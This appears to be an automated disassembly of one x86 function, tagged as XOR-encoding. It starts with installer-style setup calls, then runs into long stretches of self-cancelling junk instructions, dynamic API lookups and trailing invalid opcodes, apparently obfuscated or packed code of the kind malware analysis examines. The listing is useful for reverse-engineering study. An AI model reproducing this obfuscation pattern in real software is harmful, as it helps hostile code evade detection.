Function at 0x403415
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x2d4
push ebx
push esi
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xbfffffff
cmp ax, 6
mov dword [0x47aeec], eax
je 0x4033df
push ebx
call fcn.00406694
cmp eax, ebx
je 0x4033df
push 0xc00
call eax
mov esi, str.UXTHEME
push esi
call fcn.00406624
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4033e4
push 0xa
call fcn.00406694
push 8
call fcn.00406694
push 6
mov dword [0x47aee4], eax
call fcn.00406694
cmp eax, ebx
je 0x403427
push 0x1e
call eax
test eax, eax
je 0x403427
or byte [0x47aeef], 0x40
push ebp
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov dword [0x47afb8], eax
push ebx
lea eax, [esp + 0x34]
push 0x2b4
push eax
push ebx
push 0x440208
test dword [str.VERSION], 0x38dd659e
je 0x40345d
cmp dword [0x40a04b], ebp
jge 0x403461
neg esi
xor esi, esp
ror edx, 5
call fcn.004058a0
shl edx, 0x15
shr ecx, 0x1a
add edi, 0xc2454201
sub ecx, 0xc46f5060
neg ecx
mov esi, edx
cmp dword [0x40a44a], 0x9646ee21
jge 0x403490
shr ecx, 0x16
mov esi, ebx
mov ecx, 0x3f997e3c
not esi
call fcn.00406a00
cmp ecx, 0xf8d6dfcf
jns 0x4034ac
mov ebx, dword [0x40a2a5]
shl eax, 0x19
add ebx, dword [0x40a200]
cmp ecx, ebx
jg 0x4034be
call fcn.00404da3
neg ebx
and ebx, dword [0x40a00b]
dec ecx
jne 0x403497
mov ecx, 0x4364c277
sub eax, eax
not esi
dec edi
mov edx, dword [0x40a127]
add esi, 0xe24f7717
shr edi, 1
neg esi
xor esi, 0x71d3ce17
neg esi
dec edx
mov esi, dword [0x40a490]
and edx, dword [0x40a25f]
shl edx, 0x16
shr esi, 0x13
dec ecx
jne 0x4034cf
mov ecx, 0x33f4b2d6
shl edi, 0xc
neg esi
call fcn.00404da3
shr eax, 0x1d
add edx, dword [0x40a24e]
shl ebx, 3
neg esi
mov esi, 0x2858741c
sub eax, 0x30ff8c18
add edx, ebx
call fcn.00404da3
neg edi
shl eax, 0xe
and edx, dword [0x40a0c3]
call fcn.004014c2
shr ebx, 8
rol eax, 0x1d
ror ebx, 1
xchg ebx, eax
dec ecx
jne 0x403509
mov ebx, 0x7cdbb992
call fcn.00401b81
xchg ecx, edx
inc ebx
xor ecx, 0x6f37dcfd
call fcn.00405a1d
xor eax, 0xda3f5ad
call fcn.00406ce6
dec ebx
call fcn.00406842
xchg edx, eax
add ebx, 0xb67d7c1e
neg eax
dec edx
xchg edi, edx
call fcn.00404da3
ror ecx, 0xf
xor ebx, eax
neg esi
call fcn.00403375
call fcn.0040607f
neg esi
xor ebx, eax
rol ecx, 0xf
call fcn.00401f42
xchg edi, edx
inc edx
neg eax
sub ebx, 0xb67d7c1e
xchg edx, eax
call fcn.00406e77
inc ebx
xor eax, 0xda3f5ad
call fcn.004014c2
xor ecx, 0x6f37dcfd
dec ebx
xchg ecx, edx
add ebx, 0xa0297171
xchg edx, eax
inc ecx
call fcn.0040607f
dec edi
add esi, ecx
neg esi
xor ecx, edi
call fcn.00404da3
not ebx
xchg ebx, eax
rol ecx, 2
ror ecx, 2
rol ecx, 2
ror ecx, 2
xchg ebx, eax
not ebx
xor ecx, edi
neg esi
sub esi, ecx
inc edi
call fcn.00403375
dec ecx
xchg edx, eax
xor ebx, 0x1d052b03
call fcn.00404da3
xor eax, ecx
call fcn.00402ea9
sub ecx, esp
neg esi
inc esi
call fcn.004029d2
xchg eax, edx
sub esi, 0x254dd25f
inc eax
xor ebx, esi
add edx, 0xe15b93dd
xor ecx, edi
call fcn.00404da3
xor ecx, edi
sub edx, 0xe15b93dd
xor ebx, esi
dec eax
add esi, 0x254dd25f
xchg eax, edx
call fcn.004053b8
dec esi
neg esi
add ecx, esp
xor eax, ecx
call fcn.00404da3
push ebx
inc edx
sub ecx, 0x2c4169f1
inc ebx
call fcn.00404da3
rol edx, 0x1a
add ecx, edx
call fcn.00404da3
inc esi
inc esi
rol ecx, 0x1b
xor edx, ebp
sub eax, ebp
xchg ecx, edx
inc edx
call fcn.00406842
inc ebx
inc ebx
inc edx
xor ecx, ebx
add edi, ecx
sub edx, ebx
call fcn.00401b81
call fcn.00406ce6
add edx, ebx
sub edi, ecx
xor ecx, ebx
dec edx
dec ebx
dec ebx
call fcn.00401f42
dec edx
xchg ecx, edx
add eax, ebp
xor edx, ebp
ror ecx, 0x1b
dec esi
dec esi
call fcn.00404da3
sub ecx, edx
ror edx, 0x1a
call fcn.004016ff
dec ebx
add ecx, 0x2c4169f1
dec edx
mov edx, 0x7159359b
ror ecx, 0xb
xchg esi, edx
xor ebx, 0x93e1ba34
call fcn.004053b8
rol esi, 0x15
sub eax, ebp
dec ecx
xor eax, edi
call fcn.00406842
xchg eax, esi
xor ecx, ebx
call fcn.00401fc8
inc ebx
dec ebx
xor ecx, ebx
xchg eax, esi
xor eax, edi
inc ecx
add eax, ebp
ror esi, 0x15
xor ebx, 0x93e1ba34
xchg esi, edx
rol ecx, 0xb
xor edx, 0x1efb1a0b
inc ebx
call fcn.004056e4
xchg eax, esi
call fcn.004014c2
inc ecx
rol ecx, 0x1e
dec ebx
sub edi, 0xb1054d74
inc edx
neg edi
ror ecx, 0x18
inc ecx
call fcn.004050ba
call fcn.004056e4
dec ecx
rol ecx, 0x18
neg edi
dec edx
add edi, 0xb1054d74
inc ebx
ror ecx, 0x1e
dec ecx
call fcn.0040607f
xchg eax, esi
call fcn.004059df
dec ebx
add edx, 0xc2913cd5
not eax
rol ecx, 0x1a
xor edx, edi
not eax
call fcn.00404da3
ror edx, 0x13
dec ecx
not ecx
ror edx, 0x14
call fcn.00404da3
sub ebx, 0x28c283c6
xor edx, edi
ror esi, 0x12
sub ecx, eax
xchg esi, edx
call fcn.00402311
xor eax, ecx
call fcn.00406842
call fcn.0040589f
call fcn.004053b8
xor eax, ecx
call fcn.00402828
xchg esi, edx
add ecx, eax
rol esi, 0x12
xor edx, edi
add ebx, 0x28c283c6
rol edx, 0x14
not ecx
inc ecx
rol edx, 0x13
not eax
xor edx, edi
ror ecx, 0x1a
not eax
push edx
sub ecx, esi
inc edx
xor edx, 0xcf9c535a
call fcn.0040589f
inc eax
add ecx, edi
xor edi, ebp
ror esi, 0x12
xor esi, edi
neg edx
sub ebx, 0x9217812a
xor eax, edi
neg esi
xchg edi, esi
dec ebx
sub edi, 0x8583d192
neg ebx
ror ebx, 9
call fcn.0040238a
neg edi
dec ebx
call fcn.00406b33
inc ebx
neg edi
call fcn.004014c2
rol ebx, 9
neg ebx
add edi, 0x8583d192
inc ebx
xchg edi, esi
neg esi
xor eax, edi
add ebx, 0x9217812a
neg edx
xor esi, edi
rol esi, 0x12
xor edi, ebp
sub ecx, edi
dec eax
xor edx, 0xcf9c535a
dec edx
add ecx, esi
mov edi, 0xbe2ea413
xor edx, 0xd8912ff7
neg ebx
rol ebx, 0xa
call fcn.00402c40
neg eax
sub eax, ecx
dec edi
rol edx, 8
neg eax
add ebx, 0xedb2cbe2
xor ecx, 0xa256fb5a
dec esi
call fcn.00404da3
add edi, ebx
call fcn.00403375
sub edi, 0x6d481101
sub edx, esp
add edx, esp
add edi, 0x6d481101
call fcn.00404da3
sub edi, ebx
inc esi
xor ecx, 0xa256fb5a
sub ebx, 0xedb2cbe2
neg eax
ror edx, 8
inc edi
add eax, ecx
neg eax
call fcn.00404da3
ror ebx, 0xa
neg ebx
xor edx, 0xd8912ff7
add edi, 0xf957609a
inc ebx
call fcn.00402c40
rol ecx, 0x1c
xor edx, 0xa7012a4f
call fcn.00401f42
rol eax, 0xb
add ebx, esp
neg ebx
xor ecx, esp
dec ebx
add esi, 0x5ac56931
neg edx
xor edi, 0x70b27526
neg edi
sub esi, eax
ror eax, 0x16
rol eax, 0x16
add esi, eax
neg edi
xor edi, 0x70b27526
neg edx
sub esi, 0x5ac56931
inc ebx
xor ecx, esp
neg ebx
sub ebx, esp
ror eax, 0xb
xor edx, 0xa7012a4f
ror ecx, 0x1c
call fcn.004053b8
dec ebx
add edi, 0xb6ec60be
xchg eax, edx
dec edx
xchg eax, edx
sub ebx, 0xbdef3562
dec eax
neg edi
add esi, 0x786f817c
inc ebx
sub eax, esp
call fcn.00404da3
ror edx, 8
or byte [edi - 0x3e2e083f], al
ror dword [ebx], 0x43
xor edx, 0x65404582
sub eax, edi
call fcn.00403375
sub ebx, 0xa06b56f4
call fcn.004050ca
call fcn.00404da3
add ebx, 0xa06b56f4
call fcn.0040589f
add eax, edi
xor edx, 0x65404582
dec ebx
ror ecx, 0xb
not ecx
xchg ecx, eax
rol edx, 8
call fcn.00404da3
add eax, esp
dec ebx
sub esi, 0x786f817c
neg edi
inc eax
add ebx, 0xbdef3562
xchg eax, edx
inc edx
xchg eax, edx
push edi
xor edx, 0x9cf4301d
inc ebx
xchg edx, eax
dec esi
add esi, eax
neg ecx
dec edx
xor ebx, 0xa08264b1
dec ecx
neg esi
xor eax, esp
call fcn.00404da3
inc esi
call fcn.00402780
dec esi
call fcn.00404da3
xor eax, esp
neg esi
inc ecx
xor ebx, 0xa08264b1
inc edx
neg ecx
sub esi, eax
inc esi
xchg edx, eax
dec ebx
xor edx, 0x9cf4301d
push esp
xor eax, 0xe97f4ad4
call fcn.00401b81
xor ebx, 0x6b81ba3b
rol ecx, 0x14
xchg esi, edx
sub ecx, edi
dec esi
rol edi, 0x19
inc edi
xor esi, eax
xchg edx, esi
xor ecx, esp
call fcn.00406842
call fcn.0040607f
xor ecx, esp
xchg edx, esi
xor esi, eax
dec edi
ror edi, 0x19
inc esi
add ecx, edi
xchg esi, edx
ror ecx, 0x14
xor ebx, 0x6b81ba3b
xor eax, 0xe97f4ad4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
dec edi
ror edx, 0x1a
not eax
add edi, ecx
neg esi
inc ecx
sub edi, eax
rol edi, 0x1c
add edi, ecx
call fcn.00402780
dec ecx
call fcn.004014c2
sub esi, 0xf46b3250
ror esi, 0x12
not esi
call fcn.00404da3
not esi
dec edi
rol edx, 0x1c
inc ecx
dec ecx
ror edx, 0x1c
inc edi
not esi
call fcn.00406e77
not esi
rol esi, 0x12
add esi, 0xf46b3250
inc ecx
call fcn.00402569
sub edi, ecx
ror edi, 0x1c
add edi, eax
dec ecx
neg esi
sub edi, ecx
not eax
rol edx, 0x1a
inc edi
add esp, 0xc
xor esi, edx
xor edi, esp
ror ebx, 0xa
add edx, eax
dec ecx
not eax
xor esi, edx
call fcn.00403375
neg edi
add edi, esp
not eax
rol esi, 0x11
call fcn.00406ce6
dec edx
xor ecx, esp
call fcn.00404da3
xor ecx, esp
inc edx
call fcn.004017ca
ror esi, 0x11
not eax
sub edi, esp
neg edi
call fcn.00401b81
xor esi, edx
not eax
inc ecx
sub edx, eax
rol ebx, 0xa
xor edi, esp
xor esi, edx
mov edi, 0xada3e832
not ecx
xor edi, 0x60fba54a
sub edi, 0x9fc958d2
neg edi
xor eax, 0xb09a1d55
call fcn.00402c40
inc esi
sub edi, 0xfc19070f
call fcn.00404da3
neg eax
dec eax
ror ebx, 6
sub eax, ecx
call fcn.00402f5d
not eax
not eax
call fcn.00402311
add eax, ecx
rol ebx, 6
inc eax
neg eax
add edi, 0xfc19070f
dec esi
call fcn.004014c2
xor eax, 0xb09a1d55
neg edi
add edi, 0x9fc958d2
xor edi, 0x60fba54a
not ecx
or edi, 0x24b829c3
inc eax
xchg edi, edx
dec esi
not esi
sub ecx, 0xae4a20ed
not esi
inc edx
call fcn.00404da3
dec esi
call fcn.00406842
call fcn.004056e4
inc esi
dec edx
not esi
add ecx, 0xae4a20ed
not esi
inc esi
xchg edi, edx
dec eax
add edi, 0x5244160d
neg eax
xor ecx, 0x782c535a
ror eax, 8
not edx
xchg edi, edx
call fcn.00406e77
dec ecx
neg esi
inc edx
call fcn.00406842
not esi
dec eax
xchg esi, edx
neg esi
xchg ebx, edx
sub eax, 0x44f1f985
dec edi
not eax
sub ebx, 0x44547bb6
call fcn.00404da3
xchg esi, eax
xchg edi, edx
xchg edi, edx
xchg esi, eax
call fcn.00404da3
add ebx, 0x44547bb6
not eax
inc edi
add eax, 0x44f1f985
xchg ebx, edx
neg esi
xchg esi, edx
inc eax
not esi
call fcn.00402c40
dec edx
neg esi
inc ecx
xchg edi, edx
not edx
rol eax, 8
xor ecx, 0x782c535a
neg eax
push edi
rol edi, 0x17
xor eax, ebp
neg edi
ror eax, 0x10
xor ebx, 0x8d572099
dec edx
ror ecx, 0x1b
call fcn.004029d2
ror edi, 0x1e
call fcn.0040589f
xchg edx, eax
add edi, 0x3a3ea056
call fcn.00404da3
rol ebx, 0x1a
call fcn.00401f42
dec ecx
not ecx
xor edx, 0x7cfe180d
inc eax
add ecx, 0xb8b8b013
not esi
call fcn.004056e4
call fcn.00406842
not esi
sub ecx, 0xb8b8b013
dec eax
xor edx, 0x7cfe180d
not ecx
inc ecx
call fcn.00406842
ror ebx, 0x1a
call fcn.00404da3
sub edi, 0x3a3ea056
xchg edx, eax
rol edi, 0x1e
call fcn.00404da3
rol ecx, 0x1b
inc edx
xor ebx, 0x8d572099
rol eax, 0x10
neg edi
xor eax, ebp
ror edi, 0x17
mov edi, 0x25743005
dec edi
add esi, ebp
neg edi
inc ebx
add ecx, esi
sub ebx, 0xbd9a20bc
xchg edi, esi
neg eax
inc ecx
xor esi, 0x4fa08b96
sub esi, 0xfa2c6d83
dec esi
xor ecx, 0xbcd629ec
call fcn.004053b8
xchg edi, esi
xor ecx, 0xe7ffac5
call fcn.00404da3
call fcn.00402311
xor ecx, 0xe7ffac5
xchg edi, esi
call fcn.00404da3
xor ecx, 0xbcd629ec
inc esi
add esi, 0xfa2c6d83
xor esi, 0x4fa08b96
dec ecx
neg eax
xchg edi, esi
add ebx, 0xbd9a20bc
sub ecx, esi
dec ebx
neg edi
sub esi, ebp
inc edi
add edi, 0xcb3245f2
ror edi, 0xe
xor ecx, 0xb48af43a
not edi
xchg edx, esi
call fcn.00404da3
inc edi
not esi
call fcn.00404da3
sub ebx, edi
call fcn.004014c2
ror esi, 0xa
sub ecx, edi
xor eax, esi
neg edx
inc ebx
dec ebx
neg edx
xor eax, esi
add ecx, edi
rol esi, 0xa
call fcn.004014c2
add ebx, edi
call fcn.00404da3
not esi
dec edi
call fcn.00401b81
xchg edx, esi
not edi
xor ecx, 0xb48af43a
rol edi, 0xe
xor edi, 0x93c9199b
rol ecx, 0x1a
neg ecx
xor ecx, 0xaa38dd
call fcn.00404da3
neg ecx
rol eax, 0x14
xor edi, esi
add ebx, 0x945fab07
ror ebx, 2
dec esi
call fcn.00402e99
dec esi
xor eax, 0x2ccd0f0f
sub ecx, ebx
dec edi
not edi
not edi
inc edi
add ecx, ebx
xor eax, 0x2ccd0f0f
inc esi
call fcn.00403375
inc esi
rol ebx, 2
sub ebx, 0x945fab07
xor edi, esi
ror eax, 0x14
neg ecx
call fcn.0040589f
xor ecx, 0xaa38dd
neg ecx
ror ecx, 0x1a
push edi
xchg ecx, esi
ror ebx, 0x16
sub ebx, 0x12949f0c
not esi
ror esi, 4
call fcn.0040589f
add ecx, esp
dec ecx
rol edi, 3
call fcn.00404da3
call fcn.004014c2
ror edi, 3
inc ecx
sub ecx, esp
call fcn.004029d2
rol esi, 4
not esi
add ebx, 0x12949f0c
rol ebx, 0x16
xchg ecx, esi
mov esi, 0x5a0a9040
add ebx, 0xb2d469b9
call fcn.00401b81
dec eax
call fcn.00404da3
neg esi
call fcn.00402411
sub ebx, 0xbdbb62e6
xor esi, ebp
ror eax, 7
call fcn.0040607f
rol edx, 0x18
add esi, 0x927f6d9e
call fcn.00404da3
xor edi, eax
call fcn.00404da3
call fcn.004050ba
xor edi, eax
sub esi, 0x927f6d9e
ror edx, 0x18
rol eax, 7
xor esi, ebp
add ebx, 0xbdbb62e6
neg esi
call fcn.004014c2
inc eax
call fcn.00404da3
sub ebx, 0xb2d469b9
sub esi, 0x4e702199
not esi
call fcn.00404da3
add eax, 0xc458e9f8
not esi
call fcn.00404da3
ror edx, 0x1a
xor ecx, esi
neg edi
sub eax, 0x8f8d67a7
call fcn.00402780
xchg ecx, eax
xchg ecx, eax
call fcn.00404da3
add eax, 0x8f8d67a7
neg edi
xor ecx, esi
rol edx, 0x1a
call fcn.00403375
not esi
sub eax, 0xc458e9f8
call fcn.00401f42
not esi
sub esi, 0xca2e0d32
xor edx, ebp
add edi, ebp
not ecx
xchg esi, eax
not esi
xor esi, edi
dec ebx
xor esi, 0x81541391
ror ebx, 0x16
xor ecx, edi
neg edx
inc ecx
xchg ebx, edx
xor ebx, 0x2b4a8514
xor edx, 0x593d97b9
ror edi, 0x18
neg esi
call fcn.00402569
xchg ecx, edx
call fcn.00406c6b
call fcn.00404da3
xchg ecx, edx
neg esi
rol edi, 0x18
xor edx, 0x593d97b9
xor ebx, 0x2b4a8514
xchg ebx, edx
dec ecx
neg edx
xor ecx, edi
rol ebx, 0x16
xor esi, 0x81541391
inc ebx
xor esi, edi
not esi
xchg esi, eax
not ecx
sub edi, ebp
xor edx, ebp
push esi
add ecx, 0x904f0614
inc eax
sub ebx, edx
xchg edi, esi
add edi, 0x195e2719
call fcn.00402c40
neg ebx
add ebx, 0x89244f27
xchg edi, eax
call fcn.00406842
call fcn.00404da3
xchg edi, eax
sub ebx, 0x89244f27
neg ebx
sub edi, 0x195e2719
xchg edi, esi
add ebx, edx
dec eax
sub ecx, 0x904f0614
mov ebx, 0xfea2069d
neg esi
xor esi, edi
rol edi, 0x1a
neg eax
xor edx, edi
dec ebx
call fcn.004029d2
xor ebx, ecx
inc ebx
not esi
call fcn.004014c2
call fcn.004056e4
not esi
dec ebx
xor ebx, ecx
call fcn.00406ce6
inc ebx
xor edx, edi
neg eax
ror edi, 0x1a
xor esi, edi
neg esi
add ebx, 0x22d06a48
dec ebx
xor eax, esp
call fcn.00406842
xor edi, 0xa8a6c516
ror edx, 0x12
neg esi
call fcn.00401f42
inc esi
ror edi, 0x1f
inc eax
neg edi
call fcn.00401da6
neg edi
dec eax
rol edi, 0x1f
dec esi
neg esi
rol edx, 0x12
xor edi, 0xa8a6c516
xor eax, esp
inc ebx
xor ebx, 0x550019b3
inc ebx
rol esi, 0xa
xchg edi, eax
add esi, 0x59e1f1d5
ror edx, 2
inc edi
dec ecx
call 0x403415
not edi
xor edi, eax
ror eax, 0x1d
sub esi, ebp
add esi, ebp
xor ecx, 0x1351f796
sub esi, ebx
dec esi
xor edi, 0x3f0a65f8
neg esi
call fcn.004053b8
xor ebx, eax
call fcn.00406842
call fcn.00402e99
xor ebx, eax
call fcn.00404da3
neg esi
xor edi, 0x3f0a65f8
inc esi
add esi, ebx
xor ecx, 0x1351f796
sub esi, ebp
add esi, ebp
rol eax, 0x1d
xor edi, eax
not edi
call fcn.00406842
inc ecx
dec edi
rol edx, 2
sub esi, 0x59e1f1d5
xchg edi, eax
ror esi, 0xa
dec ebx
push ebx
not ecx
inc edx
add ebx, ebp
dec edi
call fcn.00404da3
xchg esi, eax
call fcn.00406b33
neg ecx
call fcn.00402828
rol edx, 2
add edx, ebx
ror eax, 0x1e
xchg edi, edx
sub esi, 0x57a6933a
ror ecx, 0x17
xor ecx, edx
dec eax
call fcn.00404da3
neg esi
dec edx
call fcn.0040607f
call fcn.0040607f
inc edx
neg esi
inc eax
xor ecx, edx
rol ecx, 0x17
add esi, 0x57a6933a
xchg edi, edx
rol eax, 0x1e
sub edx, ebx
ror edx, 2
call fcn.00404da3
neg ecx
xchg esi, eax
call fcn.00402c40
inc edi
sub ebx, ebp
dec edx
not ecx
push esp
inc eax
sub edi, 0xab7f4e4
dec edx
call fcn.00402c40
rol ecx, 0xb
inc ebx
xchg esi, edx
call fcn.00406842
inc eax
sub ecx, 0xabdc1981
xor eax, esi
ror edi, 0xf
add edx, ebx
neg esi
dec eax
not ecx
inc eax
call fcn.00401b81
dec eax
not ecx
inc eax
neg esi
sub edx, ebx
rol edi, 0xf
xor eax, esi
add ecx, 0xabdc1981
dec eax
call fcn.00404da3
xchg esi, edx
dec ebx
ror ecx, 0xb
call fcn.004016ff
inc edx
add edi, 0xab7f4e4
dec eax
push eax
rol edx, 9
call fcn.00404da3
xor ebx, 0x62d067f7
call fcn.00404da3
inc ecx
dec eax
xchg esi, eax
ror eax, 9
add ebx, 0x4768e28b
xor ebx, 0xb179391e
ror eax, 0x1f
add eax, 0x18f3dbfa
sub eax, 0x18f3dbfa
rol eax, 0x1f
xor ebx, 0xb179391e
sub ebx, 0x4768e28b
rol eax, 9
xchg esi, eax
inc eax
dec ecx
xor ebx, 0x62d067f7
ror edx, 9
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esp
add edx, 0x3842b7ce
rol edi, 6
inc ebx
not edx
xor edi, eax
call fcn.004056e4
xor edi, 0xf71e2734
call fcn.00402569
not edi
xor ecx, 0xc3706ae6
inc ecx
call fcn.00406a00
xor ecx, edx
call fcn.00404da3
call fcn.00404da3
xor ecx, edx
call fcn.00404da3
add byte [ecx - 0x7f], cl
int1
out 0x6a, al
jo 0x4041d5
not edi
call fcn.00404da3
xor edi, 0xf71e2734
call fcn.004025a7
xor edi, eax
not edx
dec ebx
ror edi, 6
invalid
invalid
into
mov bh, 0x42